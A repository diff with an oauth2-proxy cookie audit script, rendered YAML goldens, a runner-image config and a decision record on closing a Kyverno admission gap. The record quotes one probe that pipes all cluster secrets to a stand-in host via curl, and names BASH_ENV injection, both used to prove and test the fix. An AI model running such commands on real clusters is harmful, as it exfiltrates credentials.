+for key in default_holders:
+    check(key in registered,
+          f"{key} holds oauth2-proxy's DEFAULT cookie name '{DEFAULT_COOKIE_NAME}' but is NOT "
+          f"registered in SHARED_DEFAULT_COOKIE_OWNER. Exactly ONE instance may hold the default, "
+          f"and it is the SHARED forward-auth proxy — whose cookie is the platform-wide session "
+          f"every forward-auth-gated surface rides on, so renaming IT signs them all out at once. "
+          f"Every other instance must declare its own --cookie-name. If this instance really is "
+          f"the new shared proxy, register it here with the reason; if it is a per-app sidecar, "
+          f"give it a unique name")
+
+check(len(default_holders) <= 1,
+      f"{len(default_holders)} instances hold the default cookie name: {', '.join(default_holders)}. "
+      f"The default is a NAME, not an absence — it can have exactly one owner")
+
+# ============================================================ (4) HOST-SCOPED COOKIE DOMAIN
+# See the chainsaw-test header for the argument (distinct names alone already fix the eviction;
+# host-scoping is asserted anyway because a zone-wide cookie is TRANSMITTED to every host in the
+# zone, and because it makes a future name collision contained instead of platform-wide).
+for ins in sorted(instances, key=lambda i: i["key"]):
+    if ins["key"] in registered:
+        continue                          # the shared proxy: zone-wide by design, registered
+    dom, rhost = ins["cookie_domain"], ins["redirect_host"]
+    check(dom is not None,
+          f"{ins['key']} declares no --cookie-domain. oauth2-proxy then scopes the cookie to the "
+          f"request host, which happens to be correct — but it is correct BY ACCIDENT and says "
+          f"nothing to the next reader. Declare it explicitly as this app's own host")
+    if dom is None:
+        continue
+    check(not dom.startswith("."),
+          f"{ins['key']} sets --cookie-domain={dom}. A leading dot makes the cookie ZONE-WIDE: "
+          f"the browser sends this app's session token to every other host under that domain, "
+          f"including hosts behind no proxy at all, and it is what turns any future cookie-name "
+          f"collision into a platform-wide outage instead of a contained one. Scope it to this "
+          f"app's own host. Only the registered shared forward-auth proxy may be zone-wide, "
+          f"because cross-host forward-auth is its job")
+    if rhost:
+        check(dom == rhost,
+              f"{ins['key']} sets --cookie-domain={dom} but its --redirect-url host is {rhost}. "
+              f"The cookie is then set for a domain the sign-in flow never returns to (or for a "
+              f"wider one than this app owns), so the session either does not stick or leaks "
+              f"beyond the app. Both flags describe the SAME app: make them agree")
+
+# ============================================================ (5) THE RENDERER DERIVES
+# Five of these instances are GENERATED. Auditing only the goldens would let someone "fix" the
+# tree by hand and leave the generator emitting the defect for the next service onboarded — and
+# the next re-render would then silently revert the hand fix.
+render_py = ROOT / "catalog" / "render.py"
+check(render_py.is_file(),
+      "catalog/render.py is missing — the generator of five of these instances cannot be audited")
+if render_py.is_file():
+    src = read(render_py)
+    m = re.search(r"def _oauth2_sidecar_container\(.*?\n(?=\n*def |\n*# =)", src, re.S)
+    fn = m.group(0) if m else ""
+    check(bool(fn),
+          "could not locate _oauth2_sidecar_container() in catalog/render.py. It was renamed or "
+          "removed; assertions (5) below cannot run, and the generator is unaudited")
+    if fn:
+        cookie_name_lines = [ln for ln in fn.splitlines() if "--cookie-name" in ln]
+        check(bool(cookie_name_lines),
+              "catalog/render.py's _oauth2_sidecar_container() emits NO --cookie-name at all, so "
+              "every service it renders claims oauth2-proxy's default and collides with every "
+              "other. This is the defect itself, back in the one place that reintroduces it "
+              "fleet-wide in a single edit")
+        check(any("s['name']" in ln or 's["name"]' in ln for ln in cookie_name_lines),
+              "catalog/render.py emits --cookie-name without DERIVING it from the "
+              "ServiceDefinition's own name. A constant collides with every sibling by "
+              "construction; a per-service table leaves the NEXT app onboarded defaulting into "
+              "the collision, which is how twelve ServiceMonitors acquired one identical wrong "
+              "port name in a single edit. Derive it from s['name']")
+        cookie_dom_lines = [ln for ln in fn.splitlines() if "--cookie-domain" in ln]
+        check(any("{host}" in ln for ln in cookie_dom_lines),
+              "catalog/render.py's sidecar --cookie-domain is not derived from the route host. A "
+              "zone-wide literal (`.{ZONE}`) broadcasts every app's session cookie across the "
+              "whole zone — see assertion (4)")
+        check(not any(re.search(r"--cookie-name=_oauth2_proxy_[a-z0-9]", ln) for ln in cookie_name_lines),
+              "catalog/render.py hardcodes a literal service name into --cookie-name. Whatever "
+              "service that is, every OTHER service now renders the same constant and they all "
+              "collide. Derive the name instead")
+
+# ============================================================ (6) PROVE THE SHIPPED RENDERER
+# Once the tree is compliant, (1)-(4) have nothing left to catch and their passing is evidence
+# of nothing. This runs the SHIPPED renderer as a SUBPROCESS on two synthetic ServiceDefinitions
+# and asserts the property directly, so the guard stays falsifiable.
+def _sd(name: str, port: int) -> str:
+    return yaml.safe_dump({
+        "name": name,
+        "kind": "container",
+        "source": {"image": "example/app:1"},
+        "exposure": "internal",
+        "ingressRoutes": [{"host": f"{name}.home.keithjackson.dev", "port": port}],
+        "auth": {"mode": "forward-auth", "groups": ["platform-admins"]},
+    }, sort_keys=False)
+
+
+def _sidecar_args(rendered: str) -> list:
+    for doc in yaml.safe_load_all(rendered):
+        if not isinstance(doc, dict) or doc.get("kind") != "Deployment":
+            continue
+        for c in iter_containers(doc):
+            if c.get("name") == "oauth2-proxy":
+                return list(c.get("args") or [])
+    return []
+
+
+if render_py.is_file():
+    fixtures = {"cookiefixa": 8111, "cookiefixb": 8112}
+    rendered_args: dict[str, list] = {}
+    with tempfile.TemporaryDirectory() as td:
+        for svc, port in fixtures.items():
+            f = Path(td) / f"{svc}.yaml"
+            f.write_text(_sd(svc, port))
+            proc = subprocess.run([sys.executable, str(render_py), str(f)],
+                                  capture_output=True, text=True)
+            check(proc.returncode == 0,
+                  f"the shipped catalog/render.py failed on a synthetic forward-auth fixture "
+                  f"({svc}): rc={proc.returncode} {proc.stderr.strip()[:200]}")
+            if proc.returncode == 0:
+                rendered_args[svc] = _sidecar_args(proc.stdout)
+
+    names, domains = {}, {}
+    for svc, args in rendered_args.items():
+        names[svc] = flag_from_args(args, "cookie-name")
+        domains[svc] = flag_from_args(args, "cookie-domain")
+        check(bool(args),
+              f"the shipped renderer produced no oauth2-proxy sidecar for synthetic forward-auth "
+              f"fixture {svc} — the sidecar is how a forward-auth app is gated at all (R-IDP-02)")
+        check(names[svc] not in (None, DEFAULT_COOKIE_NAME),
+              f"the shipped renderer gave synthetic fixture {svc} the cookie name "
+              f"{names[svc]!r}. A newly-onboarded forward-auth app would therefore default "
+              f"straight into the fleet collision — which is exactly how five services acquired "
+              f"this defect without anyone making a decision")
+        check(domains[svc] == f"{svc}.home.keithjackson.dev",
+              f"the shipped renderer scoped synthetic fixture {svc}'s cookie to "
+              f"{domains[svc]!r} rather than to its own host — a newly-onboarded app would "
+              f"broadcast its session cookie across the whole zone")
+        check(any(isinstance(a, str) and a.startswith("--whitelist-domain=.") for a in args),
+              f"synthetic fixture {svc} lost its ZONE-WIDE --whitelist-domain. That flag governs "
+              f"permitted post-login REDIRECT targets, not cookie scope; narrowing it with the "
+              f"cookie domain breaks the sign-in bounce")
+
+    if len(rendered_args) == 2:
+        a, b = sorted(rendered_args)
+        check(names[a] != names[b],
+              f"the shipped renderer gave two DIFFERENT synthetic services the SAME cookie name "
+              f"({names[a]!r}). Whatever the committed goldens currently look like, the generator "
+              f"will collide every forward-auth app it renders from now on")
+        check(domains[a] != domains[b],
+              f"the shipped renderer gave two different synthetic services the same cookie domain "
+              f"({domains[a]!r}) — the cookies would share a scope even with distinct names")
+
+# ============================================================ VERDICT
+inv = " | ".join(f"{i['key']} -> {i['effective_name']} @ {i['cookie_domain'] or '<host>'}"
+                 for i in sorted(instances, key=lambda x: x["key"]))
+print(f"oauth2-proxy instances audited ({len(instances)}): {inv}")
+if FAILURES:
+    print(f"\nCHECK FAIL (oauth2-proxy-cookie-names-distinct): {len(FAILURES)} failed, "
+          f"{CHECKS - len(FAILURES)} passed", file=sys.stderr)
+    for f in FAILURES:
+        print(f"  FAIL {f}", file=sys.stderr)
+    raise SystemExit(1)
+print(f"check OK: oauth2-proxy-cookie-names-distinct — {CHECKS} assertions (R-IDP-02, R-IDP-06)")
+PY

conformance/tests/l0-static/servicemonitor-ports-resolve/check.sh

@@ -129,6 +129,22 @@ KNOWN_EXTERNAL_MONITORS: dict[str, str] = {
         "a PodMonitor, so it resolves against POD ports, not Service ports — the Flux controller "
         "Deployments (and their `http-prom` container port) are installed by the Flux bootstrap "
         "manifests, not authored here. Live on prod: job flux-system/flux-system, 6 targets up.",
+    "platform/oauth2-proxy/podmonitor.yaml:oauth2-proxy-sidecars":
+        "a PodMonitor, so it resolves against POD ports, not Service ports. Unlike the other "
+        "entries here the target is NOT chart-owned — the `metrics` (44180) container port is "
+        "authored in this repo, on the oauth2-proxy sidecar in apps/wave-0/{jackett,qbittorrent,"
+        "pihole}.yaml and apps/wave-1/{radarr,sonarr}.yaml. It is unauditable here because NO "
+        "Service exposes 44180 BY DESIGN: adding one would mean changing catalog/render.py and "
+        "every apps/wave-* render and golden, to publish an endpoint only Prometheus should dial. "
+        "A PodMonitor needs no Service, which is the whole reason it was chosen. What assertion "
+        "(2) would have checked was instead MEASURED on prod 2026-10-01, read-only: the pods "
+        "declare ports [('http', 4180), ('metrics', 44180)], the selector label "
+        "homelab.keithjackson.dev/auth-mode=forward-auth is on exactly those five gate pods, and "
+        "port-forwarding 44180 returns http=200 with 10208 bytes of oauth2_proxy_* metrics. "
+        "CAVEAT, deliberately recorded: those targets are DOWN on prod, because the app "
+        "namespaces' default-deny NetworkPolicy drops the scrape from ns monitoring (same bug and "
+        "fingerprint as platform/longhorn/networkpolicy-metrics.yaml documents). The port name "
+        "resolves; the network path does not yet.",
 }
 
 MONITOR_KINDS = ("ServiceMonitor", "PodMonitor")

conformance/tests/l1-rendering/container-workload-render/golden/expected.yaml

@@ -76,11 +76,14 @@ spec:
         - --allowed-group=platform-admins
         - --skip-provider-button=true
         - --redirect-url=https://paas-demo.home.keithjackson.dev/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_paas-demo
+        - --cookie-domain=paas-demo.home.keithjackson.dev
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -101,6 +104,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

conformance/tests/l1-rendering/egress-class-render/golden/egress-internet.expected.yaml

@@ -99,11 +99,14 @@ spec:
         - --allowed-group=media-admins
         - --skip-provider-button=true
         - --redirect-url=https://sonarr.home.keithjackson.dev/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_sonarr
+        - --cookie-domain=sonarr.home.keithjackson.dev
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -124,6 +127,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

conformance/tests/l1-rendering/egress-class-render/golden/egress-vpn.expected.yaml

@@ -99,11 +99,14 @@ spec:
         - --allowed-group=media-admins
         - --skip-provider-button=true
         - --redirect-url=https://sonarr.home.keithjackson.dev/oauth2/callback
-        - --cookie-domain=.${BASE_DOMAIN}
+        - --cookie-name=_oauth2_proxy_sonarr
+        - --cookie-domain=sonarr.home.keithjackson.dev
         - --whitelist-domain=.${BASE_DOMAIN}
         - --cookie-secure=true
+        - --cookie-refresh=2m30s
         - --pass-access-token=true
         - --set-xauthrequest=true
+        - --metrics-address=0.0.0.0:44180
         env:
         - name: OAUTH2_PROXY_CLIENT_ID
           valueFrom:
@@ -124,6 +127,9 @@ spec:
         - name: http
           containerPort: 4180
           protocol: TCP
+        - name: metrics
+          containerPort: 44180
+          protocol: TCP
         resources:
           requests:
             cpu: 25m

conformance/versions.env

@@ -6,6 +6,10 @@
 
 # Chainsaw — L1 rendering / L2 behavioral / L3 fault-injection runner (ADR-0011).
 CHAINSAW_VERSION="v0.2.12"
+# The UPSTREAM chainsaw image. It is NOT what the in-cluster Job runs — see
+# CONFORMANCE_RUNNER_IMAGE below. It carries the chainsaw binary and essentially nothing
+# else (no bash, no python3, no kubectl, no git), so `command: ["./run.sh"]` on this image
+# fails at exec. Kept only as the provenance of the chainsaw binary we rebuild from.
 CHAINSAW_IMAGE="ghcr.io/kyverno/chainsaw:v0.2.12"
 
 # kubectl — used by run.sh for cluster reachability preflight and by probe scripts.
@@ -18,3 +22,52 @@ KYVERNO_VERSION="v1.19.0"
 # Python 3 — coverage generator + JUnit emitter use stdlib only (no pip deps), so the
 # only constraint is a modern interpreter.
 PYTHON_MIN="3.9"
+
+# --- In-cluster conformance runner image -------------------------------------
+# Built from conformance/incluster/Containerfile by conformance/incluster/build-image.sh.
+# This — not CHAINSAW_IMAGE — is what the L2/L3 Job runs (bash + python3 + chainsaw +
+# kubectl + git). Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 item 1.
+#
+# It ALSO carries /usr/local/bin/conformance-clone (0755 root:root, no argument surface) as the
+# init container's only entrypoint. That is a security fixture, not a convenience: the
+# admission policy never reads `initContainers`, so an init container with an inline shell
+# script is currently admitted with the privileged runner SA. The policy rule that makes the
+# fixed path REQUIRED is not in this branch — see conformance/incluster/README.md.
+#
+# THE REPOSITORY PATH IS NOT A PREFERENCE. platform/kyverno/admission/
+# conformance-trigger-job-shape.yaml is a fail-closed Enforce ClusterPolicy (R-SEC-02) that
+# ADMITS a conformance-trigger Job only when its image matches
+#   gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*
+# Any other path, and any TAG reference, is DENIED at admission. Do not "tidy" these values.
+CONFORMANCE_RUNNER_IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
+# Build handle only. Admission never sees the tag; a Job must reference the digest.
+CONFORMANCE_RUNNER_IMAGE_TAG="chainsaw0.2.12-kubectl1.36.4-fc44"
+#
+# ############################################################################
+# # DIGEST DELIBERATELY EMPTY — THE IMAGE HAS NOT BEEN PUBLISHED YET.        #
+# ############################################################################
+# The image has been BUILT and its toolchain verified locally (non-root uid 65532,
+# read-only rootfs: bash 5.3.9, Python 3.14.7, git 2.55.0, kubectl v1.36.4, chainsaw 0.2.12,
+# and `./run.sh --layer l2 --no-cluster` completing with rc 0). It has NOT been pushed:
+# pushing needs a registry credential, and publishing the artifact a fail-closed security
+# boundary then trusts is an OPERATOR action, not an agent's.
+#
+# OPERATOR, to complete the pin:
+#   1. ./conformance/incluster/build-image.sh          # rebuild, verify, print the commands
+#   2. podman login gitea.home.keithjackson.dev
+#   3. podman push --digestfile /tmp/conformance-runner.digest \
+#        "${CONFORMANCE_RUNNER_IMAGE_REPO}:${CONFORMANCE_RUNNER_IMAGE_TAG}"
+#   4. Set CONFORMANCE_RUNNER_IMAGE_DIGEST below to `cat /tmp/conformance-runner.digest`
+#      — the digest the REGISTRY returned, not the local manifest digest the build printed.
+#   5. Land steps 4 in a PR (this file is GitOps input, not a live edit).
+#
+# UNTIL THEN: this is empty on purpose, NOT a placeholder to be guessed at. An empty value
+# makes any consumer that renders the Job fail visibly; a fake or stale digest would instead
+# produce an ImagePullBackOff that looks like a cluster fault. Do not invent one.
+CONFORMANCE_RUNNER_IMAGE_DIGEST=""
+CONFORMANCE_RUNNER_IMAGE="${CONFORMANCE_RUNNER_IMAGE_DIGEST:+${CONFORMANCE_RUNNER_IMAGE_REPO}@${CONFORMANCE_RUNNER_IMAGE_DIGEST}}"
+#
+# AFTERWARDS, TIGHTEN THE BOUNDARY: the header of conformance-trigger-job-shape.yaml asks for
+# its `@sha256:*` wildcard to be replaced with the LITERAL digest once the image exists —
+# that closes the residual "anyone who can push to this path" gap. Separate PR, human
+# reviewed, because it edits the security boundary itself.

decisions/2026-09-29-conformance-job-template.md

@@ -0,0 +1,401 @@
+---
+date: 2026-09-29
+branch: feat/conformance-job-template
+title: The conformance Job can run a named commit and get its results out — and the policy meant to bound it read only `containers`
+---
+
+## What changed
+
+Closes `docs/plans/l2-l3-conformance-ci-wiring.md` §3 items **2** (repo at the commit under
+test) and **3** (results collection with no exec channel). `conformance/incluster/chainsaw-job.yaml`
+was a skeleton whose `workspace` was an empty `emptyDir` with nothing to fill it; it is now a
+renderable run template. Along the way the admission policy that is supposed to bound that Job
+turned out to read `spec.template.spec.containers` and nothing else, and closing that took four
+more rules and moved the clone script out of the Job entirely.
+
+> **Note on where this entry lives.** This handoff was originally written as a ~400-line append
+> to the tail of `DECISIONS-LOG.md`. That append is what made PR #20 unmergeable — four of the
+> five open PRs collided on that one hunk. The prose below is the same content, moved to its own
+> file under `decisions/`; the archive is untouched.
+
+### The binding constraint, and how it was met
+
+`platform/kyverno/admission/conformance-trigger-job-shape.yaml` (Enforce, `failurePolicy: Fail`)
+admits **only `workspace` and `results`** as volume names. So the git credential could not be a
+Secret volume and the init container could not have a scratch volume:
+
+- **Credential:** env vars from `secretKeyRef` on Secret `conformance-git-readonly`
+  (`username`, `token`) — an env var is not a volume. By **name only**; no literal in the tree.
+  The token reaches `git` through an inline `credential.helper` that reads the environment, so it
+  never appears in argv (where `ps` and the Pod spec would show it) and is never written to disk.
+- **Writable scratch under `readOnlyRootFilesystem: true`:** `$TMPDIR=/workspace/tmp` and
+  `$HOME=/workspace/home`, i.e. directories **on** the `workspace` emptyDir. Not `subPath`
+  mounts — a kubelet-created subPath directory is root-owned 0755 and the non-root runner could
+  not write it.
+- **`results` could not be mounted at `conformance/_artifacts`:** that path sits inside the clone
+  target, and a directory mounted into it makes the target non-empty, so `git clone` refuses.
+  Hence `CONF_ARTIFACTS=/results` (new, honoured only when set).
+
+The init container shallow-clones, fetches the exact commit if the shallow tip lacks it, detaches
+onto it, and **asserts `HEAD` equals the requested SHA**. The SHA must match `^[0-9a-f]{40}$`, so
+an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip
+happened to be.
+
+### Results out of the Job with no exec channel
+
+The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins `command` to
+exactly `["./run.sh"]` — so nothing can wrap the suite to package artifacts afterwards. `run.sh`
+therefore does it itself, on an **EXIT trap** (a failed run still ships its red JUnit — that is
+the evidence the gate most needs), armed only by `CONF_EMIT_ARTIFACTS_TGZ=1`:
+
+    === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+    <base64 of the tgz, wrapped at 76 columns>
+    === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+
+`kubectl logs` is a lossy channel (`--tail`, a rotated CRI log, a dropped watch), and base64
+decodes a truncated stream to plausible garbage without complaint. So size, base64 line count and
+digest appear in **both** markers and the collector owes five checks, each documented above the
+function.
+
+### THE FINDING: the admission boundary did not look at `initContainers`
+
+Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`)
+or `volumes` (rule 2). **`initContainers` was never examined**, and neither were
+`ephemeralContainers` or `env`. So the precise escalation the policy exists to stop — the
+privileged `conformance-runner` SA running an arbitrary command, because Kubernetes places no
+`use` check on `serviceAccountName` — was reachable one field over. This predated this branch: the
+gap was there when the policy shipped in PR #13, and a Job with no init container at all could
+already have carried one.
+
+It was **initially left unfixed, deliberately** — a security boundary changes in its own reviewed
+PR, not smuggled in beside the Job that has to satisfy it. The coordinator then reproduced the
+finding independently and **reversed that instruction explicitly**, on the grounds that the ban
+existed to stop the boundary being *bent to fit a Job*, not to stop a hole being closed. So the
+policy gained four rules in this branch:
+
+- **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer; it
+  must be on the digest-pinned `conformance-runner` image, `command:
+  ["/usr/local/bin/conformance-clone"]`, **no `args`**, non-root, `allowPrivilegeEscalation:
+  false`, not privileged.
+- **`trigger-may-not-declare-ephemeral-containers`** — the third container list. See the honesty
+  note under "What I did NOT verify".
+- **`trigger-env-names-must-be-the-committed-set`** — runner container: `CONF_ARTIFACTS`,
+  `CONF_EMIT_ARTIFACTS_TGZ`, `TMPDIR`, `HOME`. Clone init container: `CONFORMANCE_GIT_SHA`,
+  `CONFORMANCE_REPO_URL`, `CONFORMANCE_SRC`, `GITEA_USERNAME`, `GITEA_TOKEN`, `TMPDIR`, `HOME`.
+  `command` is pinned, so injection moves to whatever adjacent field nobody enumerated, and
+  **`BASH_ENV` alone is arbitrary code execution** — bash sources it before running a
+  non-interactive script, and the runner's command IS a bash script. The init list iterates
+  `initContainers[].env[]` flattened, so it keeps working if the at-most-one cap is ever relaxed.
+- **`trigger-may-not-use-envfrom`** — `envFrom` injects a whole ConfigMap/Secret whose KEYS are
+  nowhere in the Job, which would make the allowlist above unenforceable by inspection.
+
+All four use `deny` conditions, not a `pattern`. A Kyverno array `pattern` asserts "**at least
+one** element matches", so a pattern-based init rule would have admitted the committed clone step
+**plus** an arbitrary second init container — the same hole rule 2's own comment describes for
+volumes. `second-initcontainer` is a fixture precisely because I nearly wrote it that way.
+
+**Deliberately NOT constrained:** env *values*, and which Secret a `valueFrom` reads. Values are
+legitimately environment-specific, and `conformance-runner` can already read this namespace's
+Secrets through its own RBAC, so pinning the source Secret buys nothing. Names are the vector that
+matters, because a name is what a program keys behaviour on. Constraining env *values* remains
+undone.
+
+### The clone script left the Job — that is the actual fix
+
+Pinning `command` is worthless if the command is `/bin/bash -c` and the script arrives as `args`:
+a policy cannot distinguish the committed script from an attacker's, because both are just data.
+The logic now lives in the runner image at `/usr/local/bin/conformance-clone` (mode 0755 — added
+to plan §5 step 1 as a hard requirement), sourced from `conformance/incluster/conformance-clone`,
+which **agent 1 ships in PR #18**. The Job's init container is now `command` + `env` and nothing
+else.
+
+I had written a second copy of that script here (`conformance/incluster/conformance-clone.sh`) and
+**deleted it**: two copies of the clone entrypoint in one directory, one baked into the image and
+one not, is a guaranteed drift into "the reviewed file is not the file that runs". I read agent
+1's version before deleting mine rather than assuming compatibility, and the interface my Job
+depends on matches exactly: env `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`; baked clone
+target `/workspace/src` (which is what makes my `workingDir: /workspace/src/conformance` correct);
+`TMPDIR`/`HOME` required to be under `/workspace`; and both load-bearing guards preserved — the
+`^[0-9a-f]{40}$` SHA guard and the `rev-parse HEAD == SHA` assertion. Theirs is a superset: it also
+hard-fails a `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` that disagrees with the baked values, rather
+than honouring it.
+
+**One thing that changed while moving it, and it matters:** the repository URL is **hardcoded in
+the script** instead of passed as `CONFORMANCE_REPO_URL` env. The policy pins `command` but says
+nothing about env *values*. Had the URL stayed live in env, a trigger could point the clone at a
+repository it controls and have `containers[0]` execute that repo's `./run.sh` as
+`conformance-runner` — the same escalation, laundered through a field nobody constrains. **Do not
+move that URL back into env.** Worth recording that agent 1 reached the hardcoded-URL conclusion
+**independently and against an instruction to read those values from env** — an instruction the
+coordinator then retracted. Two agents finding the same "the policy doesn't read this field, so
+trusting it just moves the injection" reasoning in one afternoon is the signal that the
+field-enumeration gap was systemic, not a one-off.
+
+### The committed `args` default was a shape that cannot run
+
+Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the
+runner image: it deliberately ships no flux/promtool/kyverno/kustomize, and `run.sh` runs its
+offline L0/L1 stages first for any selection that is not offline-only. I traced `run.sh` to state
+the invariant precisely rather than repeat the symptom — `requirement_scoped_dirs()` is
+layer-bounded **only when `--layer` is given and is not `all`**, and `offline_selected_dirs()` then
+filters to `/l0-static/|/l1-rendering/`:
+
+| args | offline selection | verdict |
+|---|---|---|
+| `--layer l2,l3` | empty | **RUNS** |
+| `--layer l2,l3 --requirements R-NET-01` | intersected to L2/L3 | **RUNS** |
+| `--layer l2,l3 --include-scope whole-repo` | scope union is *also* layer-bounded | **RUNS** |
+| `--requirements R-NET-01` (no `--layer`) | that requirement's L0/L1 tests | **FAILS** |
+| `--layer all --strict-coverage` | every L0/L1 test | **FAILS** |
+
+So `--layer` is mandatory and must name only l2/l3. **The committed default was `--layer all
+--strict-coverage` — one of the broken shapes — and is now `--layer l2,l3`.** More importantly:
+**the plan's "PHASE EXIT: `--layer all`" invocation cannot run in-cluster at all.** A full-suite
+run is CI's L0/L1 plus this Job's L2/L3, not this Job alone. That correction is in the manifest
+header and still needs to land in `ci/conformance.sh` (plan §3 item 4).
+
+I did **not** narrow the policy's `args` allowlist to match. A security boundary should not encode
+which toolchain an image happens to ship, and the failure mode of an allowed-but-unrunnable shape
+is a loud non-zero run, not an escalation. Said so in the header so the next reader knows it was
+considered rather than missed.
+
+## What I verified
+
+### Admission, proven with the pinned CLI rather than assumed
+
+kyverno **v1.19.0** in the pinned toolbox, `kyverno apply` against the *rendered* template:
+
+    ##### the real rendered template MUST PASS
+    Applying 7 policy rule(s) to 1 resource(s)...
+    pass: 7, fail: 0, warn: 0, error: 0, skip: 0
+
+    ##### the coordinator's exact initContainer probe MUST FAIL
+    1 - trigger-initcontainers-must-be-the-committed-clone-step validation failure: ...
+    pass: 6, fail: 1, warn: 0, error: 0, skip: 0
+
+    ##### same escalation via ephemeralContainers MUST FAIL
+    1 - trigger-may-not-declare-ephemeral-containers ...
+    pass: 6, fail: 1, warn: 0, error: 0, skip: 0
+
+The pre-fix measurements that produced the finding, taken the same way with `containers[0]` fully
+compliant and `serviceAccountName: conformance-runner`:
+
+- a `privileged: true` `docker.io/library/alpine:latest` initContainer running
+  `kubectl get secrets -A` → `pass: 3, fail: 0` — **ADMITTED**
+- the committed template with **only** the init container's `args` swapped for
+  `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
+  → `pass: 3, fail: 0` — **ADMITTED**
+
+Negative controls on the same rendered template, showing the original rules do bite where they
+look: adding a third volume → `trigger-volumes-must-be-workspace-or-results` fails; wrapping
+`command` in `/bin/sh -c` → `trigger-may-create-only-the-committed-conformance-run` fails at
+`/spec/template/spec/containers/0/command/`.
+
+Full fixture matrix from `kyverno apply --policy-report` — **65 pass / 13 fail / 0 error / 0 skip**:
+
+| resource | creat | vols | args | init | ephem | envnm | envfr |
+|---|---|---|---|---|---|---|---|
+| `real-template` | pass | pass | pass | pass | pass | pass | pass |
+| `good-run` | pass | pass | pass | — | pass | — | pass |
+| `evil-command` | **fail** | pass | — | — | pass | — | pass |
+| `evil-image` | **fail** | pass | — | — | pass | — | pass |
+| `tag-not-digest` | **fail** | pass | — | — | pass | — | pass |
+| `host-namespaces` | **fail** | pass | — | — | pass | — | pass |
+| `extra-volume` | pass | **fail** | — | — | pass | — | pass |
+| `injected-args` | pass | pass | **fail** | — | pass | — | pass |
+| `evil-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
+| `initcontainer-with-args` | pass | pass | pass | **fail** | pass | — | pass |
+| `second-initcontainer` | pass | pass | pass | **fail** | pass | — | pass |
+| `evil-ephemeral-container` | pass | pass | pass | — | **fail** | — | pass |
+| `injected-env` | pass | pass | pass | — | pass | **fail** | pass |
+| `injected-initcontainer-env` | pass | pass | pass | pass | pass | **fail** | pass |
+| `envfrom-whole-secret` | pass | pass | pass | — | pass | — | **fail** |
+
+`—` is "no result", not a pass: a `foreach` over an absent list emits nothing. Every `evil-*`
+init/ephemeral/env case **passes the three original rules** — that is the whole finding in one
+column, and it is why the fixtures are worth more than the rules' prose.
+`injected-initcontainer-env` is the row worth staring at: it **passes** the initContainer rule —
+correct image, correct pinned command, no args, non-root — and is hostile purely through `env`.
+That is why env had to be its own rule and not a condition bolted onto the init rule.
+
+The rendered template is now a fixture (`real-template` in
+`platform/kyverno/tests/conformance-trigger/resources.yaml`), so a template that drifts out of
+admission fails `make -C ci l0` instead of failing at 2am.
+
+### How strong that evidence is — the `kyverno test` load trap
+
+`ci/l0.sh` records, and this branch is downstream of, the lesson that **`kyverno test` exits 0 and
+prints "N tests passed" even when a policy FAILS TO LOAD** — every row becomes `Skip / Invalid
+Policy`. That trap was measured *while authoring this very policy*: a `subjects` block in a
+separate `match.all` entry from its `resources` gave 9 rows of `Skip / Invalid Policy` and
+`Test Summary: 9 tests passed and 0 tests failed`.
+
+So the proofs above are deliberately quoted from **`kyverno apply`**, whose report carries explicit
+`error:` and `skip:` counts, and those counts are `0` in every run cited. A green `kyverno test`
+alone — or the green `l0` line in the gate below — would **not** on its own establish that these
+rules loaded; `ci/l0.sh` greps the output for `Invalid Policy` for exactly that reason. Read the
+`error: 0, skip: 0` in the numbers above, not the exit code.
+
+Two further limits on what a CLI pass proves:
+
+- **`kyverno apply` evaluates these rules with or without `--userinfo`** — the extra-volume control
+  fails either way. A CLI pass is evidence about the *patterns*, **not** about the `subjects`
+  filter that decides whether the rules apply at all. The claim in `kyverno-test.yaml`'s header
+  that userinfo is what makes the cases non-trivial holds for `kyverno test`, not for
+  `kyverno apply`.
+- Nothing here was evaluated by a real API server. This is CLI evaluation of a manifest, not
+  admission in the cluster.
+
+### Two Kyverno traps, both of which silently invert the result
+
+Both are now commented in the rules:
+
+- **`not_null(x, `default`)`, never `||`.** JMESPath treats `false` as falsy, so
+  ``element.securityContext.allowPrivilegeEscalation || `true` `` rewrites the **compliant** value
+  `false` into `true` and denies every good Job.
+- **`join(' ', command)` compared as a string**, not the array compared with `Equals`. Kyverno's
+  `Equals`/`NotEquals` are not dependable on arrays, and an element-wise match would let
+  `["/bin/sh","-c",…]` through on element 0.
+
+### The results envelope
+
+**Verified locally, not asserted:** full decode round-trips to a valid tar; tail-truncation and
+head-truncation fail check 1; a dropped interior line fails check 3; one corrupted character fails
